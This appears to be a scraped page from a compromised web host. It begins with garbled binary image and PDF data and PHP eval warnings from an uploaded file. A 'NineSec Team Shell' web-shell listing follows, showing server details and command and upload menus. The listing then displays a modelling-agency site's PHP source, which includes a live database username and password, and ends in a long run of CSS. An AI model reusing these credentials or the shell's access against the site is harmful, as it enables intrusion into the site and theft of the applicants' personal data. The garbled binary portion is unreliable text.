JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C     C   ,, }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?5 (3@ @q@ =hh1 ҀĜPqހi ( í ( ((h (Pnu(9@ h'h*.Yv-dž|;*$ ߓR3ۼ EJ޸nQ֝/V}5IM񭶟w.1k' Ziwm{lq8d?FP"Uja(åP@f1@P@`PP@1@3@7$p9 ƵwLP,RJK3>?Y>:K%αJ+a~2~uk2mi`0ԴP4[f&♑ чM%)tE%[I#OҀ?C>|V -k ״-% P2SEu7 4bZ( ( ( (f%]{eLi Ff|wg'~C?ďOPi|OIgHG'ޗqS_LA48J؉(@=WR 5[gWZ3\Ì2q!r7lWW6v?|<1ʰj.kehcG**׭Qݶ~rN\R{ݍCI RnPPuM'US9B/K xĹ{:Z,Dў]lY>x'9kށ!H>St+ڡUgOEǕhyIlMc")>V?Ҿ ƯwuL<Lm|75c߈jEFn7?b}~_qP}BH PpCp( ( (PFhP7JwPMq<Qww`T IpNmC .VG\wxSіr<Ϯ=hw?.;˽r[˻.$1w$Iғ՛ƛQP$_v_q7xtu?R2,Oj īgns3r{~ƶ!=|1r6'z/3eIrSANN7MEdVPXP@Q wdj jV'-*]na[^ }jE36h#efHViUrL~l{zsxGoW z-RyLY\ÚCn$]jZVhuRH7hc5j%m>^Z̍m~ѳas :TQyxL-LeUFßxZ.e{fyn]XetcFv*9,{_-δsujQ8|XFx_J;D~P~^'[V?&|K˲(Qq?5mFǀTidxz*~YWļV}6t ;]d6t'K\V=n2کU좸,\γH;mjW?j_YY'K!(P@P@Sn+ln漮cxv^,ZJ̇=c׊JwI˛>ַi|Xv WxlDqqN,%r\FMtq?3c_yn ʩX''>1H >ճ-$?t= ;Z^EBDai~PPb  ('ozq8a>޴ /\ʹ-/kोĘ|*|JԼW;/Yv {_8hݭO"vsU3j7سO/qs1=8i[9'zҖ32<qtD z_-; eFzfW E (&scyz#>w:UTP@P@9>} j-o|ΐʦD<2Ez.yT%+ItfO|%o )U3 >>ea#xqWg.Kkt&U(ن]ZT*S?F?U~w[Bǖ$%zw^ǖg ahث@P@ '4Ҁ+th@2h(׍>I%۽1GO<RE'Wk]Zb-mmn >I˨|!?ޠu+Hǘ_={8~ 1KZ>=Rm{ ._˂%OP.ZfY!:E|O]xVY ÝħQҿNa!?8y:u/x-iF;RrDK<2Emus+H4XC(_R6̧,aJ6D~򻾡H( ( ( PqUvcW|JѮ#}m̾YN?8%2;t|VAl`!yU%1ib.݃jոP.QWJ~ơ [Zmye+[^[JG4d}MJGsG?IAJ|uC=7nYF$ǣ)#pq@4P@b (4Q4_N4MoB:Cϔ3F}2r߀G?-=2\mRLBƼ9301pnϩt /0X@$K#@x[+OB1B qLrz~H|S=檰2\J$?(ךǙ"'n$<μlއxx{,5Q!Iq޿-I4waB5(5)+@ܒYM=4 GpRzP.dP@PA-]-FxUdJ7!~) 8o {[Q>wU%$~WUrm:v=N<(6ԯ+J =ZG4),LWSAV?\e%hO߳|Jyv`S9+q  ܕ1åP@쳯m/']{k)˜"3N9%֢R勗ceZ)En}Mh+O,;H~WW]A5flӎN+}fh*|dj_/ʗ*pջYx5?$R0'?ֿ1_W=MU4/0!VM}W<1_sişO55'jm|Mڥy|<ykxO77u mOg'xmt}@NkܛlCp:QUC `ή:lJUpꏘ~"h,!dڻ o,A_s 9HZɳq6vrNE29A.}kEaMFxo7>9JF_c:ʧ)+#OVfyW~(oOvtQ<*a]uR:u5p~)Qb9KGtit\3,e7x{6*$~Fgzs|&v'[bvoϥy8G57ǝ,XW˹z|vљ[ KњC,#vt{/뇷#IUV ?Yu_CӼG;''wּڙ}j{Y +&SwGFME\aEWoQtgRr%5O}pFnWो|'rL^coUX绔,XN5F?3L| T2zPV$y&]f}^2 Rl}sƝ]7?|)RY\/yҌ:4e[^?uٟx}_V:o37;{ѧO$ǃ?}F?0r:悃<@P@̴19o)şrӄ:zgD47["}9NJI#o ja$=ο6g%f ۡƞ{-ԯcWdx93x<.\+ \3(TZ\HZ_[ #iV-ɰ J(HiZ_A&yҕWa KR[Oi zCvQ8{zJn'QQtW/ZXW(ܤ~50׽>.L쪶O.5MMZ_LMݟd^*P>,Ѧzj? ?]ƹMXs{dat & Mwrz|M˰P4o<]|f P}+Hac-OLY!ի/w8=OIYJFI=)6[fa*cN*GEŅ IayX3*ʮ!pf] gmNk]L& G?5m7|GWEjh HlWQ\(+-gܒV0kVOxoIbUg }HFP@?y@ c8F!~#_5ˠ uw gJOWqHvQ_ SA7`j ʜC[«iCsP׎?M N^WٲT*c:`QMΟ+CqD\WSN?1^nZm|&5fp@h$B1@P@"9^j Rv&6N3hˡt)Ni^HS*}j`3оx.Mo^K͕ WcFHkzkjVg;r?iQXxB>s?> ԁ*E{94k#Oh*4$-])k^_ Xz (>=fp3@k>'gVbO5zD ᫲&n/|QsRUS+:ѴUj[9+-^A32E2I"VXzQ<8fKpDєuJRLs,i*t,v>?=xwFSO͕Cil~jN}2=vuUBqzm4ψK!҂@cOZP@q@l7Zi`QWc:Ox2ŚAoי$<*\/O O8{bB}zm.+d4rǹ57,D޺|;r\4h%^X~g@yg|Umad>T|5&@E?d~N=uP@>ƀ&*\m~+bЏ@ ⛽ N Nǃ_UWt?Hi~[4rՋi+yO׷S>L1Ktb7U ,3UGopfa ۲$2 \:񏕜tw]F<MAJ_(]a@ ii\ƴyծdx6 ˪[DF^f°WbaopGR|tu+E2WI#gqа?8yCr->:Z #ִ)v5=]#Ŀ%n&Q=+TK(O|4^E:sa4rJ.Bk;3Քcgy{7dfFc|ϧt$-G#Z#(VRΌ6xʌz49}SW- ٟe= NR~8YOZ> FxA@­VKM$8WJ>4p#^7O\WuTF"+W3ўR[ص]9ˀWdнt|H*9D[޿P}-?f O  $h6{vfXA'mh (Sb$l8h E?k~bioF@9Mp&i{ZW~~7ً=1mMIJniZ1{֮GhկOjINJ>!VY'cg=pMJ9-x,WS+?GԼS+8'l1?Z&#O;nwRi8&;kG6od{; @ǣQM5C -rW# }vIU}L-ƚܸt ᕸJG߿)J0yV~-wyQ}kߍ7Irn%:vGß淂uf|EarNYzS91;\nYӬ"=QCI v瀮5qV[u-vCҁ3{_ν\>I:lj5zgo 3}ݿ_Qias| S|8yW,^T R?5Zu_evD_<Q#$9~@մLA@83@ՖErC9'Eܖm F3M[fRؐKT85ǦsۭW3Gi?~/ԴJc^v:!yoJVvE6AW0TQ3EᣅOK |5,{^s[\ /:VVp늾gZS ʰӦhלܧjceMYfu%e`q6v!)6okKxqfKGEf^('É>!֞WͲLD>\Wˡy4( ( (KpbaSԲ2C>~4$cGCP0RROTM5쮟<'ƗKTwTV;bNjұܚd=BP@P@P:o;/ԩ#_k7W.sHǟs_a{isy6ugO9>"\ÆtGea#? ld=6?IsߚP@!{P<$)@gJ_7<6"e^i_1JuZDžX9ɠ p@hvz6zB&ZC@Ne ހ@(elUZ v>=c_pX_糽Ukk#|˕Տaa*M (Erw˥)?t~`!E}In~uG?,734-ĺݎa \_^ΖByRk?-^mm6R%b{Z+x1åP@! >(4gv[|AҭDعilmo3)RAP:@P@ #oH.5N#=ԩ 1$PoOh/ x{㮟kxN2hf7uz%>W%gXm€#<|mᗏ"C <9iҭvv%UPNJkTe[9b:qKpBx0 *r85Rz3ZKvg>ȱBg>|C?О ,>MFtlW~S++i&mD uj$g2$I쏙0#xsPfp3&v„όz`3@ (ao1O\ F RIǚb~ VnM~kͥZ ?+X'(̈́zo<Ѧ=)#!^c'8]cg?h_' Yݛz|QQj}КΧ{2lUsny(֝ ʫ= ?k3X6\|9gR%pJP@ G9=+Ew$yҔ7$xE`ge}+Ƚ/U[ny||HvկumN-AՉ} }cVVGuSrݟП;Mh~ siwp s#bxlJH1Ҁ ( (nq}iX f-;Ky?Y+]h9p3>6{Q`?gMO>%t-jK WOJ0àH (2͜.xUm DSK|qV'4tu?2ֹ:Rlr5͘ҋxIǫ˚epT OT(-򫰡k2UT[_ğ'-:?}^Q˞g\{i{ˆG/+Y** UTujyKx}>*xG-VMZ[7 wǢjbN0c>B( ( F@ ZNLࣿۡYΟM@(qz(zJfkyxe|5kV[2#n, ';_1es'5/m~G ~iSiJ!3Sy|ıF,jP` qZA-@ P@P@P@&9wbcՃ}{PIx&+ ,#B#MhѨ2^0:Kր?!˝:{k$KUсA*P<0& 7 P@0u zS sbϣ }QoA޿I Yw"5,/$k nihb%cyrMYE}_ɾzx^_^ͨ<9F9fc}ҦC'#SQխw{j?mItﶶrIEڙ~h=iuVV6P4 @eP@4P@P@P@@4s@n9~S@XvGGߴl~%En@fȠƿU{W^nsvCG4gkz7FS؊]vh(h (q@ (gx)k Tr{"|''9?*җ?\6&0ӔJo^?Ѽ6..IHb!>zxL'ucs?ǙI3? ?;^Tm{`X_3cɤWm ׷X $W͹&gWe59#tp~>/1}S>+{h 1(:A}1|t8t ( ( (=( AC8A{l<@xio>Eڍ9+NA(o]x ZσxK2/^~Ccs,䲚Xg6(VA@]wo @ @1Ҁ@(9! S\ZXj-Zf5YÌyq ~k[EKhw8jH⦸y9䱯Z妬~RZs{ Kxqަ^8̇F=Llq?a=W-+Au=I5sh?(zPɠ`P@P@P@P@(# LւGdPx~~Щ,!vZӌli`ApO0?Ư$*]xVKKcdoP> ~~,΄mu񵇸$PҀc6ʀqAH^#4 R{P5;-wWih۝O` ,2|H^ӣ.'-.q>hWϳb?@1~{kbuņt[ah{hm!Hb*FT {0hc?79`@P@P@P@(h"XplPy@ZƇ5;+}BD?<+?$,-.\s>hd/@#­Mm:FdKSh?"lGwU^q@~??1|OҚ}6@jXnwQ9iMGq#/>75"Ym}4iCG/![S3War<#>[_ nBXڤ\{2hnI'P3cCH M,( ( ( 9ɠ& PrhZ:x&>B (1hZ_ (zưր@ ɠL2h$2hɠ( (+la%/$pd{(^xqqh?7_xծ4 wMSIݤ~I@Wku4CWQH c%wdPGr-{Qn6.f:[|K?^~_kiv74wMNj60&+9VX 8<(av2Rholg  AU|1 7xL>oi8@ ⿈$v?!:@$#۸"9hQ<1h߿M3Öt]5-689ڀ0\~"`A=@ƟYqA{i"{y0xDf/^E#M {p71<oF=:95'Rp3@Kᴗc=< jpߜmۻ9 O|P`tyzpq##ހ4|3zh5k-jı\NFXu@~$_ź&{5pɷvP|c?vh6d ;IRFyP|Lg~&tRG$ 8$##4w^2|gC@,53sapFu@|so&,^7Aҋ/mۻ9ܨO@]/{/uoAtT0WKl}ƀ=EipjZ>miӮ%Y#z@%xy%cfw8O ~!xdNЃU$cwZT@FCgpsq%HbksB88۷vs1@'|WGJ5kNw ds9Q xitv[u*i׉9@N(|7^@Ү/@5^}Xis_\kh#ª};߅];|Qӵ /t]SMQue.K#|rGPG}bOWbP.\W3iVHO* ZIXzljSFmNQnf/n/(2K0h?ி'g'@}47 ƿO%}jy>/C4ʝ>Y͍,9lP:unjgZ0imrc;XpA+g >$-#X |~].5>Lԭ.l36$?*/xIuA4!qk[Fz3}x_|.o(I ,ud 0 u}}s'?[_'4h:jCa'#fR&- i?q?icy?,ǗNɷ -.40)'ê͎\(7 IҮ:IU?^vmI}u@<yWu_Ȟ=5=?y.#O@HqPc+>&JKyB6r|T AƎ2WFde;-7Q 2mk~4Wm4u?ըh aA@|Kq藠/$|-[B#yI;sA[\Zu޹u PYcUAX{h+&7 >i7Z, lv?OO I~%%;tVGV0GoZ .toL֎C9 ƀ= 1ZIggLrJ$xv߳ϣ]K mVmmA?ڗJ?n <6w|y3 Yuj/y2iWW2H33q4RI:C&ou7>;&ڶ [tz.sJMv).oB= %Ǡ4Ճ~v=|V@hGo%fzc@_tW|XOK{kxG9y3E# ƀ?7?g]~a$fP/ٺ+@?+‘K'iD<"{ nq%~?Frh㕣?z7^~iT{uჵC >j3~~rê)闞]?*> ZԿeo&YiW:i5;9$2&!P~&xEׅi*XOH''ԿWORwݢq2J@׿ $K6`_ $PP@ľ>x? /@O>5x?RZkVR@x,~[,5/OsRIlN9W|BN\ d_%2aztPofvܼHܰtUxgH^4KOOI3Z/O9O*VLm+M~6y>)J3#:^?^þ[[]gYIxIB\?a~**e}wQ5Q W*̊>b8'Zៅ.گN$TJ;%MOLw="Ԓ&x`|lqO@c~l,:|7Cz}jmX2[FET\0@_?ωW#ʙ L6΀><|yH|EU#YSrM ϯo_ 3i6N%1D2:sgEmY7T1٥F`3J㏇u/w䉠Bq6m4RZU'\-tӬV;{2Yxw$bIlPwvm{=S׬#F1M8rq\_Ͽ?|Y_mkڵ捪MXpz<⻯AHy^nC,}aNY`6 ua|}mSšUrIU_k~tL6sƹg-~f>]_)43HYd ֖ Ym7'-6Rx ~\h~|n i-M mK!@ AFYfƗ <,1=p? :1 ToA1K+ uh#Qsg,Ƅf {f1Y>1V3/(?-MelbFV*@?ݐ7E{SLεѭ@ACJ > (_-X|sI|-^PJWsc>cb_s_`qXiyǗ>|>OZ#oh$P>3_<|wK<ߑ,c eRVx}Cg cYF#ݒíc? /&(x7Hrq@X-BasktML3?>$I)k?S*h(-. >@?7|C sc> t/?|_[$nD'WvP?:?mC ~?m JvN0+~ȿ΁-x5Yq}P7 n怱??Əm|c/$YN2Dp#,kcjo7u/\[ +t!ʱ `~l ,g뿅WxKZ4ˤ]>XMzwS :+āw3@|x:'j:6Cq#͟OǶ$nXuKfi_CǯxCT._˽^G_|cSE⏈iHYklP? c=gkƯbFʤFK9ց3|[ׇu|DҦ.b!R @g /?LaܙNmEϟ4П셢,/5I4-GIi`+eA#p},s5k"~#-S7-․+cC4ԀfpPHh4 4 Pq@O@PP@(1@#4.hɠ'րIsAHN 4Ps@=($w4d@n> I=hhCsAAA((1@ yL%PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php(237) : eval()'d code on line 6

Warning: Cannot modify header information - headers already sent by (output started at /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php:1) in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php(237) : eval()'d code on line 45
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.112
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/missjharkhand.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/missjharkhand.com/public_html/newindex.php
<?php
// Database configuration
$host = 'localhost';
$dbname = 'u178500310_jhar';
$username = 'u178500310_jahr_khand';
$password = 'Jhar@#14321';

// Enable error reporting
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Create database connection
try {
    $conn = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch(PDOException $e) {
    die("Database connection failed: " . $e->getMessage());
}

// Get current page
$page = isset($_GET['page']) ? $_GET['page'] : 'home';

// Fetch models for home page and models page
$models = [];
if ($page === 'home' || $page === 'models') {
    $limit = ($page === 'home') ? 6 : 12;
    $stmt = $conn->prepare("SELECT id, full_name, headshot_photo, height, dob, profession FROM applicants ORDER BY id DESC LIMIT :limit");
    $stmt->bindValue(':limit', $limit, PDO::PARAM_INT);
    $stmt->execute();
    $models = $stmt->fetchAll(PDO::FETCH_ASSOC);
}

// Fetch single model for profile page
$model = null;
if ($page === 'profile' && isset($_GET['id'])) {
    $id = $_GET['id'];
    $stmt = $conn->prepare("SELECT * FROM applicants WHERE id = :id");
    $stmt->bindParam(':id', $id, PDO::PARAM_INT);
    $stmt->execute();
    $model = $stmt->fetch(PDO::FETCH_ASSOC);
}

// Define logo path
$logoPath = 'upload/logo.png';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>
        <?php 
        switch($page) {
            case 'models': echo 'Our Models | Miss Jharkhand'; break;
            case 'profile': echo 'Model Profile | Miss Jharkhand'; break;
            case 'registration': echo 'Apply Now | Miss Jharkhand'; break;
            default: echo 'Miss Jharkhand | Luxury Fashion Agency';
        }
        ?>
    </title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;500;600;700&family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #1a2a6c;
            --secondary: #b21f1f;
            --accent: #d4af37;
            --light: #f8f9ff;
            --dark: #0d1531;
            --gold-light: #f0e6c2;
            --gold-dark: #b8972e;
        }
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Poppins', sans-serif;
        }
        
        body {
            overflow-x: hidden;
            background-color: #fff;
            color: #333;
            line-height: 1.6;
            padding-top: 80px;
        }
        
        /* ===== ENHANCED HEADER ===== */
        .header {
            background: rgba(255, 255, 255, 0.98);
            backdrop-filter: blur(10px);
            padding: 15px 0;
            box-shadow: 0 5px 20px rgba(0, 0, 0, 0.05);
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            z-index: 1000;
            transition: all 0.4s ease;
        }
        
        .header-container {
            display: flex;
            justify-content: space-between;
            align-items: center;
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        .logo {
            display: flex;
            align-items: center;
            text-decoration: none;
        }
        
        .logo-img {
            height: 50px; /* Adjust height as needed */
            margin-right: 15px;
            transition: transform 0.3s ease;
        }
        
        .logo-img:hover {
            transform: scale(1.05);
        }
        
        .logo-text {
            font-family: 'Playfair Display', serif;
            font-size: 1.8rem;
            font-weight: 700;
            background: linear-gradient(to right, var(--dark), var(--primary));
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            letter-spacing: 0.5px;
        }
        
        .nav-container {
            display: flex;
            align-items: center;
        }
        
        .nav-menu {
            display: flex;
            list-style: none;
            margin-right: 30px;
        }
        
        .nav-item {
            margin: 0 12px;
        }
        
        .nav-link {
            color: var(--dark);
            text-decoration: none;
            font-weight: 500;
            font-size: 1.05rem;
            padding: 8px 0;
            position: relative;
            transition: all 0.3s ease;
        }
        
        .nav-link:hover,
        .nav-link.active {
            color: var(--accent);
        }
        
        .nav-link::after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 0;
            width: 0;
            height: 2px;
            background: var(--accent);
            transition: width 0.3s ease;
        }
        
        .nav-link:hover::after,
        .nav-link.active::after {
            width: 100%;
        }
        
        .btn-apply {
            background: linear-gradient(to right, var(--primary), var(--secondary));
            color: white;
            border: none;
            border-radius: 30px;
            padding: 12px 28px;
            font-weight: 600;
            transition: all 0.3s ease;
            font-size: 1.05rem;
            box-shadow: 0 4px 15px rgba(26, 42, 108, 0.3);
            text-decoration: none;
            display: inline-block;
        }
        
        .btn-apply:hover {
            transform: translateY(-3px);
            box-shadow: 0 10px 20px rgba(26, 42, 108, 0.4);
        }
        
        .mobile-toggle {
            display: none;
            background: none;
            border: none;
            font-size: 1.8rem;
            color: var(--dark);
            cursor: pointer;
        }
        
        /* ===== MODERN HERO SECTION ===== */
        .hero {
            position: relative;
            height: 80vh;
            min-height: 600px;
            overflow: hidden;
            display: flex;
            align-items: center;
            justify-content: center;
            background: linear-gradient(135deg, #0d1531 0%, #1a2a6c 100%);
            margin-top: -80px;
        }
        
        .hero-content {
            position: relative;
            z-index: 2;
            text-align: center;
            color: white;
            padding: 0 20px;
            max-width: 900px;
            margin: 0 auto;
        }
        
        .hero-title {
            font-family: 'Playfair Display', serif;
            font-size: 3.5rem;
            font-weight: 700;
            margin-bottom: 20px;
            text-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
            line-height: 1.2;
        }
        
        .hero-subtitle {
            font-size: 1.3rem;
            margin-bottom: 40px;
            max-width: 700px;
            margin-left: auto;
            margin-right: auto;
            opacity: 0.9;
            font-weight: 300;
        }
        
        .hero-buttons {
            display: flex;
            justify-content: center;
            gap: 20px;
            flex-wrap: wrap;
        }
        
        .btn {
            padding: 14px 36px;
            border-radius: 50px;
            font-size: 1.1rem;
            font-weight: 600;
            transition: all 0.3s ease;
            text-decoration: none;
            display: inline-block;
        }
        
        .btn-primary {
            background: linear-gradient(to right, var(--accent), var(--gold-dark));
            color: var(--dark);
            border: none;
            box-shadow: 0 4px 15px rgba(212, 175, 55, 0.4);
        }
        
        .btn-outline {
            background: transparent;
            color: white;
            border: 2px solid white;
        }
        
        .btn:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.3);
        }
        
        .btn-outline:hover {
            background: rgba(255, 255, 255, 0.1);
        }
        
        .scroll-down {
            position: absolute;
            bottom: 60px;
            left: 0;
            right: 0;
            z-index: 10;
            text-align: center;
        }
        
        .scroll-link {
            color: white;
            text-decoration: none;
            display: flex;
            flex-direction: column;
            align-items: center;
            opacity: 0.8;
            transition: all 0.3s ease;
        }
        
        .scroll-link:hover {
            opacity: 1;
            transform: translateY(5px);
        }
        
        .scroll-text {
            font-size: 0.9rem;
            margin-bottom: 8px;
            letter-spacing: 1px;
        }
        
        .scroll-icon {
            width: 40px;
            height: 40px;
            border: 2px solid rgba(255, 255, 255, 0.5);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            animation: bounce 2s infinite;
        }
        
        .scroll-icon i {
            font-size: 1.2rem;
        }
        
        @keyframes bounce {
            0%, 20%, 50%, 80%, 100% {transform: translateY(0);}
            40% {transform: translateY(-15px);}
            60% {transform: translateY(-7px);}
        }
        
        /* ===== FEATURED MODELS SECTION ===== */
        .featured {
            padding: 80px 0;
            background-color: #f8f9fa;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        .section-header {
            text-align: center;
            margin-bottom: 50px;
        }
        
        .section-title {
            font-family: 'Playfair Display', serif;
            font-size: 2.5rem;
            color: var(--dark);
            margin-bottom: 15px;
            position: relative;
            display: inline-block;
        }
        
        .section-title::after {
            content: '';
            position: absolute;
            bottom: -10px;
            left: 50%;
            transform: translateX(-50%);
            width: 80px;
            height: 4px;
            background: var(--accent);
        }
        
        .section-subtitle {
            font-size: 1.1rem;
            color: #6c757d;
            max-width: 700px;
            margin: 20px auto 0;
        }
        
        .models-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
            gap: 25px;
        }
        
        .model-card {
            background: white;
            border-radius: 12px;
            overflow: hidden;
            box-shadow: 0 10px 30px rgba(0,0,0,0.08);
            transition: all 0.4s ease;
        }
        
        .model-card:hover {
            transform: translateY(-10px);
            box-shadow: 0 15px 40px rgba(0,0,0,0.12);
        }
        
        .model-image {
            height: 350px;
            overflow: hidden;
            position: relative;
        }
        
        .model-image img {
            width: 100%;
            height: 100%;
            object-fit: cover;
            transition: transform 0.6s ease;
        }
        
        .model-card:hover .model-image img {
            transform: scale(1.05);
        }
        
        .model-overlay {
            position: absolute;
            bottom: 0;
            left: 0;
            right: 0;
            background: linear-gradient(to top, rgba(0,0,0,0.8), transparent);
            padding: 20px;
            color: white;
        }
        
        .model-overlay h3 {
            font-size: 1.4rem;
            margin-bottom: 5px;
            font-weight: 600;
        }
        
        .model-overlay p {
            margin-bottom: 5px;
            font-size: 0.9rem;
            opacity: 0.9;
        }
        
        .model-category {
            display: inline-block;
            background: var(--accent);
            color: var(--dark);
            padding: 4px 12px;
            border-radius: 20px;
            font-size: 0.85rem;
            font-weight: 700;
            margin-top: 8px;
        }
        
        .view-all-btn {
            text-align: center;
            margin-top: 40px;
        }
        
        /* ===== ABOUT SECTION ===== */
        .about-section {
            background: linear-gradient(135deg, var(--dark) 0%, var(--primary) 100%);
            color: white;
            padding: 80px 0;
            position: relative;
            overflow: hidden;
            text-align: center;
        }
        
        .about-title {
            font-family: 'Playfair Display', serif;
            font-size: 3.5rem;
            font-weight: 800;
            color: var(--accent);
            margin: 0 auto 30px;
            text-transform: uppercase;
            letter-spacing: 2px;
            position: relative;
            display: inline-block;
            text-shadow: 0 2px 10px rgba(212, 175, 55, 0.4);
        }
        
        .about-content {
            max-width: 800px;
            margin: 0 auto 50px;
            font-size: 1.1rem;
            line-height: 1.8;
            color: rgba(255,255,255,0.9);
            position: relative;
        }
        
        .about-content p {
            margin-bottom: 0;
        }
        
        .stats-grid {
            display: flex;
            justify-content: center;
            flex-wrap: wrap;
            gap: 20px;
            max-width: 1200px;
            margin: 0 auto;
        }
        
        .stat-card {
            background: rgba(30, 30, 42, 0.7);
            padding: 30px 25px;
            border-radius: 12px;
            text-align: center;
            min-width: 200px;
            border: 1px solid rgba(212, 175, 55, 0.3);
            backdrop-filter: blur(5px);
            transition: all 0.4s ease;
        }
        
        .stat-card:hover {
            transform: translateY(-8px);
            box-shadow: 0 12px 30px rgba(212, 175, 55, 0.2);
            border-color: rgba(212, 175, 55, 0.6);
        }
        
        .stat-number {
            font-family: 'Playfair Display', serif;
            font-size: 2.8rem;
            font-weight: 700;
            color: var(--accent);
            margin-bottom: 10px;
            background: linear-gradient(to right, #d4af37, #f0e6c2);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
        }
        
        .stat-label {
            font-size: 0.95rem;
            color: rgba(255,255,255,0.8);
            text-transform: uppercase;
            letter-spacing: 1.5px;
            font-weight: 500;
        }
        
        /* ===== MODEL PROFILE STYLES ===== */
        .model-profile-header {
            background: linear-gradient(135deg, var(--dark) 0%, var(--primary) 100%);
            color: white;
            padding: 140px 0 50px;
            text-align: center;
        }
        
        .model-profile-content {
            padding: 50px 0;
        }
        
        .model-main-image {
            height: 500px;
            border-radius: 10px;
            overflow: hidden;
            box-shadow: 0 15px 40px rgba(0,0,0,0.2);
        }
        
        .model-main-image img {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }
        
        .model-info-card {
            background: white;
            border-radius: 10px;
            box-shadow: 0 10px 30px rgba(0,0,0,0.1);
            padding: 30px;
            height: 100%;
        }
        
        .model-name {
            font-size: 2.2rem;
            color: var(--dark);
            margin-bottom: 10px;
        }
        
        .model-title {
            font-size: 1.1rem;
            color: var(--accent);
            font-weight: 600;
            margin-bottom: 20px;
        }
        
        .model-details {
            margin-bottom: 30px;
        }
        
        .detail-item {
            margin-bottom: 15px;
            padding-bottom: 15px;
            border-bottom: 1px solid #eee;
        }
        
        .detail-label {
            font-weight: 600;
            color: #333;
            display: block;
            margin-bottom: 5px;
        }
        
        .detail-value {
            color: #666;
        }
        
        .portfolio-section {
            margin-top: 50px;
        }
        
        .portfolio-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(220px, 1fr));
            gap: 15px;
            margin-top: 25px;
        }
        
        .portfolio-item {
            height: 250px;
            border-radius: 8px;
            overflow: hidden;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
        }
        
        .portfolio-item img {
            width: 100%;
            height: 100%;
            object-fit: cover;
            transition: transform 0.5s ease;
        }
        
        .portfolio-item:hover img {
            transform: scale(1.1);
        }
        
        .section-title {
            font-size: 1.7rem;
            color: var(--dark);
            margin-bottom: 25px;
            padding-bottom: 12px;
            border-bottom: 3px solid var(--accent);
        }
        
        .back-link {
            display: inline-flex;
            align-items: center;
            margin-bottom: 25px;
            color: var(--accent);
            font-weight: 600;
            text-decoration: none;
            padding: 8px 15px;
            border-radius: 5px;
            background: rgba(212, 175, 55, 0.1);
        }
        
        .back-link:hover {
            color: #b8972e;
            background: rgba(212, 175, 55, 0.2);
        }
        
